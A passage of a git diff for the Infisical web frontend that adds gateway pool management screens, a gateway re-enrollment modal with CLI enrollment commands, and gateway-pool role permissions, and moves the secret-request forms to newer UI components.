+                        <span>{gw.name}</span>
+                        <Badge variant="neutral">Gateway v{gw.isV1 ? "1" : "2"}</Badge>
+                      </div>
+                    </TableCell>
+                    <TableCell>
+                      <Badge variant={isOnline ? "success" : "danger"}>
+                        {isOnline ? "Healthy" : "Unreachable"}
+                      </Badge>
+                    </TableCell>
+                    <TableCell>
+                      <DropdownMenu>
+                        <DropdownMenuTrigger asChild>
+                          <IconButton
+                            ariaLabel="Options"
+                            variant="plain"
+                            size="sm"
+                            className="p-1.5"
+                          >
+                            <FontAwesomeIcon icon={faEllipsisV} />
+                          </IconButton>
+                        </DropdownMenuTrigger>
+                        <DropdownMenuContent align="end" className="z-[60] min-w-[180px]">
+                          {!gw.isV1 && (
+                            <DropdownMenuItem onSelect={() => handleHealthCheck(gw.id)}>
+                              <FontAwesomeIcon icon={faHeartPulse} />
+                              Trigger health check
+                            </DropdownMenuItem>
+                          )}
+                          <DropdownMenuItem
+                            variant="danger"
+                            onSelect={() =>
+                              handlePopUpOpen("removeGateway", { id: gw.id, name: gw.name })
+                            }
+                          >
+                            <FontAwesomeIcon icon={faTrash} />
+                            Remove from pool
+                          </DropdownMenuItem>
+                        </DropdownMenuContent>
+                      </DropdownMenu>
+                    </TableCell>
+                  </TableRow>
+                );
+              })}
+            </TableBody>
+          </Table>
+        </div>
+
+        <DeleteActionModal
+          isOpen={popUp.removeGateway.isOpen}
+          title={`Remove "${(popUp.removeGateway.data as { name: string } | undefined)?.name ?? ""}" from pool?`}
+          onChange={(open) => handlePopUpToggle("removeGateway", open)}
+          deleteKey="confirm"
+          buttonText="Remove"
+          onDeleteApproved={handleRemove}
+        />
+      </SheetContent>
+    </Sheet>
+  );
+};
diff --git a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/PoolHealthBadge.tsx b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/PoolHealthBadge.tsx
new file mode 100644
index 00000000000..792b600d6ca
--- /dev/null
+++ b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/PoolHealthBadge.tsx
@@ -0,0 +1,18 @@
+import { TGatewayPool } from "@app/hooks/api/gateway-pools/types";
+
+export const PoolHealthBadge = ({ pool }: { pool: TGatewayPool }) => {
+  if (pool.memberCount === 0) {
+    return <span className="text-mineshaft-400">No members</span>;
+  }
+  let colorClass = "text-yellow-500";
+  if (pool.healthyMemberCount === 0) {
+    colorClass = "text-red-400";
+  } else if (pool.healthyMemberCount === pool.memberCount) {
+    colorClass = "text-green-500";
+  }
+  return (
+    <span className={colorClass}>
+      {pool.healthyMemberCount}/{pool.memberCount} healthy
+    </span>
+  );
+};
diff --git a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/ReEnrollGatewayModal.tsx b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/ReEnrollGatewayModal.tsx
new file mode 100644
index 00000000000..9cda8b450f8
--- /dev/null
+++ b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/ReEnrollGatewayModal.tsx
@@ -0,0 +1,164 @@
+import { useEffect, useMemo, useState } from "react";
+import { faCopy, faUpRightFromSquare } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+
+import { createNotification } from "@app/components/notifications";
+import {
+  Button,
+  FormLabel,
+  IconButton,
+  Input,
+  Modal,
+  ModalClose,
+  ModalContent,
+  Tab,
+  TabList,
+  TabPanel,
+  Tabs
+} from "@app/components/v2";
+import { useConfigureGatewayTokenAuth } from "@app/hooks/api/gateways-v2";
+
+type Props = {
+  isOpen: boolean;
+  onOpenChange: (isOpen: boolean) => void;
+  gatewayData: { id: string; name: string; isPending: boolean } | null;
+};
+
+export const ReEnrollGatewayModal = ({ isOpen, onOpenChange, gatewayData }: Props) => {
+  const { protocol, hostname, port } = window.location;
+  const portSuffix = port && port !== "80" ? `:${port}` : "";
+  const siteURL = `${protocol}//${hostname}${portSuffix}`;
+
+  const [enrollmentToken, setEnrollmentToken] = useState("");
+  const [isLoading, setIsLoading] = useState(false);
+
+  const { mutateAsync: configureTokenAuth } = useConfigureGatewayTokenAuth();
+
+  useEffect(() => {
+    if (!isOpen || !gatewayData) return;
+
+    setIsLoading(true);
+    configureTokenAuth({ gatewayId: gatewayData.id })
+      .then((result) => {
+        setEnrollmentToken(result.token);
+      })
+      .catch(() => {
+        createNotification({ type: "error", text: "Failed to generate enrollment token" });
+        onOpenChange(false);
+      })
+      .finally(() => {
+        setIsLoading(false);
+      });
+  }, [isOpen, gatewayData?.id]);
+
+  const gatewayName = gatewayData?.name ?? "";
+
+  const cliCommand = useMemo(() => {
+    return `infisical gateway start ${gatewayName} --enroll-method=token --token=${enrollmentToken} --domain=${siteURL}`;
+  }, [gatewayName, enrollmentToken, siteURL]);
+
+  const systemdInstallCommand = useMemo(() => {
+    return `sudo infisical gateway systemd install ${gatewayName} --enroll-method=token --token=${enrollmentToken} --domain=${siteURL}`;
+  }, [gatewayName, enrollmentToken, siteURL]);
+
+  const startServiceCommand = "sudo systemctl start infisical-gateway";
+
+  const copyToClipboard = (text: string, label: string) => {
+    navigator.clipboard.writeText(text);
+    createNotification({ text: `${label} copied to clipboard`, type: "info" });
+  };
+
+  const handleClose = (open: boolean) => {
+    if (!open) {
+      setEnrollmentToken("");
+    }
+    onOpenChange(open);
+  };
+
+  if (!gatewayData) return null;
+
+  return (
+    <Modal isOpen={isOpen} onOpenChange={handleClose}>
+      <ModalContent
+        className="max-w-2xl"
+        title={`Re-enroll ${gatewayData.name}`}
+        subTitle="The existing gateway will keep running until the new machine enrolls."
+      >
+        {isLoading ? (
+          <p className="text-sm text-mineshaft-300">Generating enrollment token...</p>
+        ) : (
+          <>
+            <p className="mb-3 text-sm text-mineshaft-300">
+              Run the following command on the machine where you want to deploy the gateway. The
+              token expires in 1 hour and can only be used once.
+            </p>
+            <Tabs defaultValue="cli" className="mt-2">
+              <TabList>
+                <Tab value="cli">CLI</Tab>
+                <Tab value="systemd">CLI (systemd)</Tab>
+              </TabList>
+              <TabPanel value="cli">
+                <div className="flex gap-2">
+                  <Input value={cliCommand} isDisabled />
+                  <IconButton
+                    ariaLabel="copy"
+                    variant="outline_bg"
+                    colorSchema="secondary"
+                    onClick={() => copyToClipboard(cliCommand, "Command")}
+                    className="w-10"
+                  >
+                    <FontAwesomeIcon icon={faCopy} />
+                  </IconButton>
+                </div>
+              </TabPanel>
+              <TabPanel value="systemd">
+                <FormLabel label="Installation Command" />
+                <div className="flex gap-2">
+                  <Input value={systemdInstallCommand} isDisabled />
+                  <IconButton
+                    ariaLabel="copy install command"
+                    variant="outline_bg"
+                    colorSchema="secondary"
+                    onClick={() => copyToClipboard(systemdInstallCommand, "Installation command")}
+                    className="w-10"
+                  >
+                    <FontAwesomeIcon icon={faCopy} />
+                  </IconButton>
+                </div>
+                <FormLabel label="Start the Gateway Service" className="mt-4" />
+                <div className="flex gap-2">
+                  <Input value={startServiceCommand} isDisabled />
+                  <IconButton
+                    ariaLabel="copy start command"
+                    variant="outline_bg"
+                    colorSchema="secondary"
+                    onClick={() => copyToClipboard(startServiceCommand, "Start command")}
+                    className="w-10"
+                  >
+                    <FontAwesomeIcon icon={faCopy} />
+                  </IconButton>
+                </div>
+              </TabPanel>
+            </Tabs>
+            <a
+              href="https://infisical.com/docs/cli/overview"
+              target="_blank"
+              className="mt-2 flex h-4 w-fit items-center gap-2 border-b border-mineshaft-400 text-sm text-mineshaft-400 transition-colors duration-100 hover:border-yellow-400 hover:text-yellow-400"
+              rel="noreferrer"
+            >
+              <span>Install the Infisical CLI</span>
+              <FontAwesomeIcon icon={faUpRightFromSquare} className="size-3" />
+            </a>
+            <div className="mt-6 flex items-center">
+              <ModalClose asChild>
+                <Button className="mr-4" size="sm" colorSchema="secondary">
+                  Done
+                </Button>
+              </ModalClose>
+            </div>
+          </>
+        )}
+      </ModalContent>
+    </Modal>
+  );
+};
diff --git a/frontend/src/pages/organization/NoOrgPage/NoOrgPage.tsx b/frontend/src/pages/organization/NoOrgPage/NoOrgPage.tsx
index 9568a0f153a..eff5c6354e5 100644
--- a/frontend/src/pages/organization/NoOrgPage/NoOrgPage.tsx
+++ b/frontend/src/pages/organization/NoOrgPage/NoOrgPage.tsx
@@ -13,7 +13,7 @@ export const NoOrgPage = () => {
         <link rel="icon" href="/infisical.ico" />
       </Helmet>
       <div className="min-h-screen bg-bunker-800">
-        <CreateOrgModal isOpen />
+        <CreateOrgModal isOpen logoutOnClose />
       </div>
     </>
   );
diff --git a/frontend/src/pages/organization/RoleByIDPage/components/OrgRoleModifySection.utils.ts b/frontend/src/pages/organization/RoleByIDPage/components/OrgRoleModifySection.utils.ts
index 566a02e45e9..187e48f770e 100644
--- a/frontend/src/pages/organization/RoleByIDPage/components/OrgRoleModifySection.utils.ts
+++ b/frontend/src/pages/organization/RoleByIDPage/components/OrgRoleModifySection.utils.ts
@@ -4,6 +4,7 @@ import { z } from "zod";
 import { OrgPermissionSubjects } from "@app/context";
 import {
   OrgGatewayPermissionActions,
+  OrgGatewayPoolPermissionActions,
   OrgPermissionAppConnectionActions,
   OrgPermissionAuditLogsActions,
   OrgPermissionBillingActions,
@@ -103,6 +104,16 @@ const orgGatewayPermissionSchema = z
   })
   .optional();
 
+const orgGatewayPoolPermissionSchema = z
+  .object({
+    [OrgGatewayPoolPermissionActions.ListGatewayPools]: z.boolean().optional(),
+    [OrgGatewayPoolPermissionActions.CreateGatewayPools]: z.boolean().optional(),
+    [OrgGatewayPoolPermissionActions.EditGatewayPools]: z.boolean().optional(),
+    [OrgGatewayPoolPermissionActions.DeleteGatewayPools]: z.boolean().optional(),
+    [OrgGatewayPoolPermissionActions.AttachGatewayPools]: z.boolean().optional()
+  })
+  .optional();
+
 const orgRelayPermissionSchema = z
   .object({
     [OrgRelayPermissionActions.ListRelays]: z.boolean().optional(),
@@ -189,6 +200,7 @@ export const formSchema = z.object({
       "app-connections": appConnectionsPermissionSchema,
       kmip: kmipPermissionSchema,
       gateway: orgGatewayPermissionSchema,
+      "gateway-pool": orgGatewayPoolPermissionSchema,
       relay: orgRelayPermissionSchema,
       "machine-identity-auth-template": machineIdentityAuthTemplatePermissionSchema,
       "secret-share": secretSharingPermissionSchema,
diff --git a/frontend/src/pages/organization/RoleByIDPage/components/RolePermissionsSection/OrgPermissionGatewayPoolRow.tsx b/frontend/src/pages/organization/RoleByIDPage/components/RolePermissionsSection/OrgPermissionGatewayPoolRow.tsx
new file mode 100644
index 00000000000..5a614e2796e
--- /dev/null
+++ b/frontend/src/pages/organization/RoleByIDPage/components/RolePermissionsSection/OrgPermissionGatewayPoolRow.tsx
@@ -0,0 +1,185 @@
+import { useEffect, useMemo } from "react";
+import { Control, Controller, UseFormSetValue, useWatch } from "react-hook-form";
+import { faChevronDown, faChevronRight } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+
+import { createNotification } from "@app/components/notifications";
+import { Checkbox, Select, SelectItem, Td, Tr } from "@app/components/v2";
+import { OrgGatewayPoolPermissionActions } from "@app/context/OrgPermissionContext/types";
+import { useToggle } from "@app/hooks";
+
+import { TFormSchema } from "../OrgRoleModifySection.utils";
+
+type Props = {
+  isEditable: boolean;
+  setValue: UseFormSetValue<TFormSchema>;
+  control: Control<TFormSchema>;
+};
+
+enum Permission {
+  NoAccess = "no-access",
+  ReadOnly = "read-only",
+  FullAccess = "full-access",
+  Custom = "custom"
+}
+
+const PERMISSION_ACTIONS = [
+  { action: OrgGatewayPoolPermissionActions.ListGatewayPools, label: "List Gateway Pools" },
+  { action: OrgGatewayPoolPermissionActions.CreateGatewayPools, label: "Create Gateway Pools" },
+  { action: OrgGatewayPoolPermissionActions.EditGatewayPools, label: "Edit Gateway Pools" },
+  { action: OrgGatewayPoolPermissionActions.DeleteGatewayPools, label: "Delete Gateway Pools" },
+  { action: OrgGatewayPoolPermissionActions.AttachGatewayPools, label: "Attach Gateway Pools" }
+] as const;
+
+export const OrgGatewayPoolPermissionRow = ({ isEditable, control, setValue }: Props) => {
+  const [isRowExpanded, setIsRowExpanded] = useToggle();
+  const [isCustom, setIsCustom] = useToggle();
+
+  const rule = useWatch({
+    control,
+    name: "permissions.gateway-pool"
+  });
+
+  const selectedPermissionCategory = useMemo(() => {
+    const actions = Object.keys(rule || {}) as Array<keyof typeof rule>;
+    const totalActions = PERMISSION_ACTIONS.length;
+    const score = actions.map((key) => (rule?.[key] ? 1 : 0)).reduce((a, b) => a + b, 0 as number);
+
+    if (isCustom) return Permission.Custom;
+    if (score === 0) return Permission.NoAccess;
+    if (score === totalActions) return Permission.FullAccess;
+    if (score === 1 && rule?.[OrgGatewayPoolPermissionActions.ListGatewayPools])
+      return Permission.ReadOnly;
+
+    return Permission.Custom;
+  }, [rule, isCustom]);
+
+  useEffect(() => {
+    if (selectedPermissionCategory === Permission.Custom) setIsCustom.on();
+    else setIsCustom.off();
+  }, [selectedPermissionCategory]);
+
+  useEffect(() => {
+    const isRowCustom = selectedPermissionCategory === Permission.Custom;
+    if (isRowCustom) {
+      setIsRowExpanded.on();
+    }
+  }, []);
+
+  const handlePermissionChange = (val: Permission) => {
+    if (!val) return;
+    if (val === Permission.Custom) {
+      setIsRowExpanded.on();
+      setIsCustom.on();
+      return;
+    }
+    setIsCustom.off();
+
+    switch (val) {
+      case Permission.FullAccess:
+        setValue(
+          "permissions.gateway-pool",
+          {
+            [OrgGatewayPoolPermissionActions.ListGatewayPools]: true,
+            [OrgGatewayPoolPermissionActions.CreateGatewayPools]: true,
+            [OrgGatewayPoolPermissionActions.EditGatewayPools]: true,
+            [OrgGatewayPoolPermissionActions.DeleteGatewayPools]: true,
+            [OrgGatewayPoolPermissionActions.AttachGatewayPools]: true
+          },
+          { shouldDirty: true }
+        );
+        break;
+      case Permission.ReadOnly:
+        setValue(
+          "permissions.gateway-pool",
+          {
+            [OrgGatewayPoolPermissionActions.ListGatewayPools]: true,
+            [OrgGatewayPoolPermissionActions.CreateGatewayPools]: false,
+            [OrgGatewayPoolPermissionActions.EditGatewayPools]: false,
+            [OrgGatewayPoolPermissionActions.DeleteGatewayPools]: false,
+            [OrgGatewayPoolPermissionActions.AttachGatewayPools]: false
+          },
+          { shouldDirty: true }
+        );
+        break;
+
+      case Permission.NoAccess:
+      default:
+        setValue(
+          "permissions.gateway-pool",
+          {
+            [OrgGatewayPoolPermissionActions.ListGatewayPools]: false,
+            [OrgGatewayPoolPermissionActions.CreateGatewayPools]: false,
+            [OrgGatewayPoolPermissionActions.EditGatewayPools]: false,
+            [OrgGatewayPoolPermissionActions.DeleteGatewayPools]: false,
+            [OrgGatewayPoolPermissionActions.AttachGatewayPools]: false
+          },
+          { shouldDirty: true }
+        );
+    }
+  };
+
+  return (
+    <>
+      <Tr
+        className="h-10 cursor-pointer transition-colors duration-100 hover:bg-mineshaft-700"
+        onClick={() => setIsRowExpanded.toggle()}
+      >
+        <Td className="w-4">
+          <FontAwesomeIcon className="w-4" icon={isRowExpanded ? faChevronDown : faChevronRight} />
+        </Td>
+        <Td className="w-full select-none">Gateway Pools</Td>
+        <Td>
+          <Select
+            value={selectedPermissionCategory}
+            className="h-8 w-40 bg-mineshaft-700"
+            dropdownContainerClassName="border text-left border-mineshaft-600 bg-mineshaft-800"
+            onValueChange={handlePermissionChange}
+            isDisabled={!isEditable}
+            position="popper"
+          >
+            <SelectItem value={Permission.NoAccess}>No Access</SelectItem>
+            <SelectItem value={Permission.ReadOnly}>Read Only</SelectItem>
+            <SelectItem value={Permission.FullAccess}>Full Access</SelectItem>
+            <SelectItem value={Permission.Custom}>Custom</SelectItem>
+          </Select>
+        </Td>
+      </Tr>
+      {isRowExpanded && (
+        <Tr>
+          <Td colSpan={3} className="border-mineshaft-500 bg-mineshaft-900 p-8">
+            <div className="flex grow flex-wrap justify-start gap-x-8 gap-y-4">
+              {PERMISSION_ACTIONS.map(({ action, label }) => {
+                return (
+                  <Controller
+                    name={`permissions.gateway-pool.${action}`}
+                    key={`permissions.gateway-pool.${action}`}
+                    control={control}
+                    render={({ field }) => (
+                      <Checkbox
+                        isChecked={Boolean(field.value)}
+                        onCheckedChange={(e) => {
+                          if (!isEditable) {
+                            createNotification({
+                              type: "error",
+                              text: "Failed to update default role"
+                            });
+                            return;
+                          }
+                          field.onChange(e);
+                        }}
+                        id={`permissions.gateway-pool.${action}`}
+                      >
+                        {label}
+                      </Checkbox>
+                    )}
+                  />
+                );
+              })}
+            </div>
+          </Td>
+        </Tr>
+      )}
+    </>
+  );
+};
diff --git a/frontend/src/pages/organization/RoleByIDPage/components/RolePermissionsSection/RolePermissionRow.tsx b/frontend/src/pages/organization/RoleByIDPage/components/RolePermissionsSection/RolePermissionRow.tsx
index d48ee46fe09..d47a5b2ab96 100644
--- a/frontend/src/pages/organization/RoleByIDPage/components/RolePermissionsSection/RolePermissionRow.tsx
+++ b/frontend/src/pages/organization/RoleByIDPage/components/RolePermissionsSection/RolePermissionRow.tsx
@@ -69,6 +69,7 @@ type Props = {
     | "organization-admin-console"
     | "kmip"
     | "gateway"
+    | "gateway-pool"
     | "relay"
     | "secret-share"
     | "billing"
diff --git a/frontend/src/pages/organization/RoleByIDPage/components/RolePermissionsSection/RolePermissionsSection.tsx b/frontend/src/pages/organization/RoleByIDPage/components/RolePermissionsSection/RolePermissionsSection.tsx
index e30080763c3..5487151aa7f 100644
--- a/frontend/src/pages/organization/RoleByIDPage/components/RolePermissionsSection/RolePermissionsSection.tsx
+++ b/frontend/src/pages/organization/RoleByIDPage/components/RolePermissionsSection/RolePermissionsSection.tsx
@@ -19,6 +19,7 @@ import { OrgPermissionAdminConsoleRow } from "./OrgPermissionAdminConsoleRow";
 import { OrgPermissionAuditLogsRow } from "./OrgPermissionAuditLogsRow";
 import { OrgPermissionBillingRow } from "./OrgPermissionBillingRow";
 import { OrgPermissionEmailDomainRow } from "./OrgPermissionEmailDomainRow";
+import { OrgGatewayPoolPermissionRow } from "./OrgPermissionGatewayPoolRow";
 import { OrgGatewayPermissionRow } from "./OrgPermissionGatewayRow";
 import { OrgPermissionGroupRow } from "./OrgPermissionGroupRow";
 import { OrgPermissionIdentityRow } from "./OrgPermissionIdentityRow";
@@ -204,6 +205,11 @@ export const RolePermissionsSection = ({ roleId }: Props) => {
                 setValue={setValue}
                 isEditable={isCustomRole}
               />
+              <OrgGatewayPoolPermissionRow
+                control={control}
+                setValue={setValue}
+                isEditable={isCustomRole}
+              />
               <OrgRelayPermissionRow
                 control={control}
                 setValue={setValue}
diff --git a/frontend/src/pages/organization/SecretSharingPage/SecretSharingPage.tsx b/frontend/src/pages/organization/SecretSharingPage/SecretSharingPage.tsx
index d32523c2b1c..6312a90ea20 100644
--- a/frontend/src/pages/organization/SecretSharingPage/SecretSharingPage.tsx
+++ b/frontend/src/pages/organization/SecretSharingPage/SecretSharingPage.tsx
@@ -1,7 +1,5 @@
 import { Helmet } from "react-helmet";
 import { useTranslation } from "react-i18next";
-import { faArrowUpRightFromSquare } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 
 import { PageHeader } from "@app/components/v2";
 import { useOrganization } from "@app/context";
@@ -26,21 +24,7 @@ export const SecretSharingPage = () => {
             scope={isSubOrganization ? "namespace" : "org"}
             title="Secret Sharing"
             description="Share secrets securely using a shareable link"
-          >
-            <a
-              target="_blank"
-              rel="noopener noreferrer"
-              href="https://infisical.com/docs/documentation/platform/secret-sharing"
-            >
-              <div className="flex w-max cursor-pointer items-center rounded-md border border-mineshaft-500 bg-mineshaft-600 px-4 py-2 text-mineshaft-200 duration-200 hover:border-primary/40 hover:bg-primary/10 hover:text-white">
-                Documentation{" "}
-                <FontAwesomeIcon
-                  icon={faArrowUpRightFromSquare}
-                  className="mb-[0.06rem] ml-1 text-xs"
-                />
-              </div>
-            </a>
-          </PageHeader>
+          />
           <ShareSecretSection />
         </div>
       </div>
diff --git a/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/AddSecretRequestModal.tsx b/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/AddSecretRequestModal.tsx
index ec4b95c552b..682826f617b 100644
--- a/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/AddSecretRequestModal.tsx
+++ b/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/AddSecretRequestModal.tsx
@@ -1,4 +1,10 @@
-import { Modal, ModalContent } from "@app/components/v2";
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle
+} from "@app/components/v3";
 import { UsePopUpState } from "@app/hooks/usePopUp";
 
 import { RequestSecretForm } from "./RequestSecretForm";
@@ -13,18 +19,21 @@ type Props = {
 
 export const AddSecretRequestModal = ({ popUp, handlePopUpToggle }: Props) => {
   return (
-    <Modal
-      isOpen={popUp?.createSecretRequest?.isOpen}
+    <Dialog
+      open={popUp?.createSecretRequest?.isOpen}
       onOpenChange={(isOpen) => {
         handlePopUpToggle("createSecretRequest", isOpen);
       }}
     >
-      <ModalContent
-        title="Request a Secret"
-        subTitle="Securely request one off secrets from your team or people outside your organization."
-      >
+      <DialogContent className="max-w-xl">
+        <DialogHeader>
+          <DialogTitle>Request a Secret</DialogTitle>
+          <DialogDescription>
+            Securely request one off secrets from your team or people outside your organization.
+          </DialogDescription>
+        </DialogHeader>
         <RequestSecretForm />
-      </ModalContent>
-    </Modal>
+      </DialogContent>
+    </Dialog>
   );
 };
diff --git a/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestSecretForm.tsx b/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestSecretForm.tsx
index d79fcfcfa44..beaea084f3d 100644
--- a/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestSecretForm.tsx
+++ b/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestSecretForm.tsx
@@ -1,13 +1,28 @@
 import { useState } from "react";
 import { Controller, useForm } from "react-hook-form";
-import { faCheck, faCopy, faRedo } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import { useSearch } from "@tanstack/react-router";
+import { Check, Copy, Info, ReplyIcon } from "lucide-react";
 import { z } from "zod";
 
 import { createNotification } from "@app/components/notifications";
-import { Button, FormControl, IconButton, Input, Select, SelectItem } from "@app/components/v2";
+import {
+  Button,
+  Field,
+  FieldDescription,
+  FieldError,
+  FieldLabel,
+  IconButton,
+  Input,
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
 import { useTimedReset } from "@app/hooks";
 import { SecretSharingAccessType, useCreateSecretRequest } from "@app/hooks/api/secretSharing";
 
@@ -83,41 +98,52 @@ export const RequestSecretForm = () => {
   const hasSecretLink = Boolean(secretLink);
 
   return !hasSecretLink ? (
-    <form onSubmit={handleSubmit(onFormSubmit)}>
+    <form onSubmit={handleSubmit(onFormSubmit)} className="flex flex-col gap-4">
       <Controller
         control={control}
         name="name"
         render={({ field, fieldState: { error } }) => (
-          <FormControl label="Name (Optional)" isError={Boolean(error)} errorText={error?.message}>
-            <Input {...field} placeholder="API Key" type="text" />
-          </FormControl>
+          <Field>
+            <FieldLabel>
+              Name <span className="text-xs text-muted italic">- Optional</span>
+            </FieldLabel>
+            <Input {...field} placeholder="API Key" type="text" isError={Boolean(error)} />
+            {error && <FieldError>{error.message}</FieldError>}
+          </Field>
         )}
       />
 
       <Controller
         control={control}
         name="expiresIn"
-        defaultValue="3600000"
         render={({ field: { onChange, ...field }, fieldState: { error } }) => (
-          <FormControl
-            label="Expires In"
-            errorText={error?.message}
-            tooltipText="Select for how long someone is able to input the secret. If a secret is shared with you in time, it will remain available to you, even after the expiration."
-            isError={Boolean(error)}
-          >
-            <Select
-              defaultValue={field.value}
-              {...field}
-              onValueChange={(e) => onChange(e)}
-              className="w-full"
-            >
-              {expiresInOptions.map(({ label, value: expiresInValue }) => (
-                <SelectItem value={String(expiresInValue || "")} key={label}>
-                  {label}
-                </SelectItem>
-              ))}
+          <Field>
+            <FieldLabel>
+              Expires In
+              <Tooltip>
+                <TooltipTrigger asChild>
+                  <Info className="size-3 cursor-help text-muted" />
+                </TooltipTrigger>
+                <TooltipContent className="max-w-xs">
+                  Select for how long someone is able to input the secret. If a secret is shared
+                  with you in time, it will remain available to you, even after the expiration.
+                </TooltipContent>
+              </Tooltip>
+            </FieldLabel>
+            <Select value={field.value} onValueChange={(e) => onChange(e)}>
+              <SelectTrigger className="w-full">
+                <SelectValue />
+              </SelectTrigger>
+              <SelectContent>
+                {expiresInOptions.map(({ label, value: expiresInValue }) => (
+                  <SelectItem value={String(expiresInValue || "")} key={label}>
+                    {label}
+                  </SelectItem>
+                ))}
+              </SelectContent>
             </Select>
-          </FormControl>
+            {error && <FieldError>{error.message}</FieldError>}
+          </Field>
         )}
       />
 
@@ -126,62 +152,58 @@ export const RequestSecretForm = () => {
         name="accessType"
         defaultValue={SecretSharingAccessType.Organization}
         render={({ field: { onChange, ...field }, fieldState: { error } }) => (
-          <FormControl
-            tooltipText="Select who is able to input the secret"
-            label="General Access"
-            errorText={error?.message}
-            isError={Boolean(error)}
-          >
-            <Select
-              defaultValue={field.value}
-              {...field}
-              onValueChange={(e) => onChange(e)}
-              className="w-full"
-            >
-              <SelectItem value={SecretSharingAccessType.Anyone}>Anyone</SelectItem>
-              <SelectItem value={SecretSharingAccessType.Organization}>
-                People within your organization
-              </SelectItem>
+          <Field>
+            <FieldLabel>
+              General Access
+              <Tooltip>
+                <TooltipTrigger asChild>
+                  <Info className="size-3 cursor-help text-muted" />
+                </TooltipTrigger>
+                <TooltipContent>Select who is able to input the secret</TooltipContent>
+              </Tooltip>
+            </FieldLabel>
+            <Select value={field.value} onValueChange={(e) => onChange(e)}>
+              <SelectTrigger className="w-full">
+                <SelectValue />
+              </SelectTrigger>
+              <SelectContent>
+                <SelectItem value={SecretSharingAccessType.Anyone}>Anyone</SelectItem>
+                <SelectItem value={SecretSharingAccessType.Organization}>
+                  People within your organization
+                </SelectItem>
+              </SelectContent>
             </Select>
-          </FormControl>
+            <FieldDescription>Controls who can provide the requested secret</FieldDescription>
+            {error && <FieldError>{error.message}</FieldError>}
+          </Field>
         )}
       />
-
-      <Button
-        className="mt-4"
-        size="sm"
-        type="submit"
-        isLoading={isSubmitting}
-        isDisabled={isSubmitting}
-      >
-        Create Request Link
-      </Button>
+      <div className="flex w-full justify-end">
+        <Button variant="org" type="submit" isPending={isSubmitting} isDisabled={isSubmitting}>
+          Create Request Link
+        </Button>
+      </div>
     </form>
   ) : (
     <>
-      <div className="mr-2 flex items-center justify-end rounded-md bg-white/5 p-2 text-base text-gray-400">
+      <div className="relative flex items-center justify-between rounded-md border border-border bg-container p-2 pr-5 pl-3 text-base text-label">
         <p className="mr-4 break-all">{secretLink}</p>
         <IconButton
-          ariaLabel="copy icon"
-          colorSchema="secondary"
-          className="group relative ml-2"
+          aria-label="copy icon"
+          variant="ghost-muted"
+          size="sm"
+          className="absolute top-1 right-1"
           onClick={() => {
             navigator.clipboard.writeText(secretLink);
             setCopyTextSecret("Copied");
           }}
         >
-          <FontAwesomeIcon icon={isCopyingSecret ? faCheck : faCopy} />
+          {isCopyingSecret ? <Check className="size-4" /> : <Copy className="size-4" />}
         </IconButton>
       </div>
-      <Button
-        className="mt-4 w-full bg-mineshaft-700 py-3 text-bunker-200"
-        colorSchema="primary"
-        variant="outline_bg"
-        size="sm"
-        onClick={() => setSecretLink("")}
-        rightIcon={<FontAwesomeIcon icon={faRedo} className="pl-2" />}
-      >
+      <Button className="w-full" variant="org" size="lg" onClick={() => setSecretLink("")}>
         Request Another Secret
+        <ReplyIcon />
       </Button>
     </>
   );
diff --git a/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestSecretTab.tsx b/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestSecretTab.tsx
index 1253cdbc06c..f01807af160 100644
--- a/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestSecretTab.tsx
+++ b/frontend/src/pages/organization/SecretSharingPage/components/RequestSecret/RequestSecretTab.tsx
@@ -1,8 +1,25 @@
-import { faPlus } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+import { ReplyIcon, Trash2 } from "lucide-react";
 
 import { createNotification } from "@app/components/notifications";
-import { Button, DeleteActionModal } from "@app/components/v2";
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogMedia,
+  AlertDialogTitle,
+  Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  DocumentationLinkBadge
+} from "@app/components/v3";
 import { useDeleteSecretRequest } from "@app/hooks/api";
 import { usePopUp } from "@app/hooks/usePopUp";
 
@@ -10,8 +27,6 @@ import { AddSecretRequestModal } from "./AddSecretRequestModal";
 import { RequestedSecretsTable } from "./RequestedSecretsTable";
 import { RevealSecretValueModal } from "./RevealSecretValueModal";
 
-type DeleteModalData = { name: string; id: string };
-
 export const RequestSecretTab = () => {
   const { popUp, handlePopUpToggle, handlePopUpClose, handlePopUpOpen } = usePopUp([
     "createSecretRequest",
@@ -34,36 +49,56 @@ export const RequestSecretTab = () => {
   };
 
   return (
-    <div className="mb-6 rounded-lg border border-mineshaft-600 bg-mineshaft-900 p-4">
-      <div className="mb-4 flex justify-between">
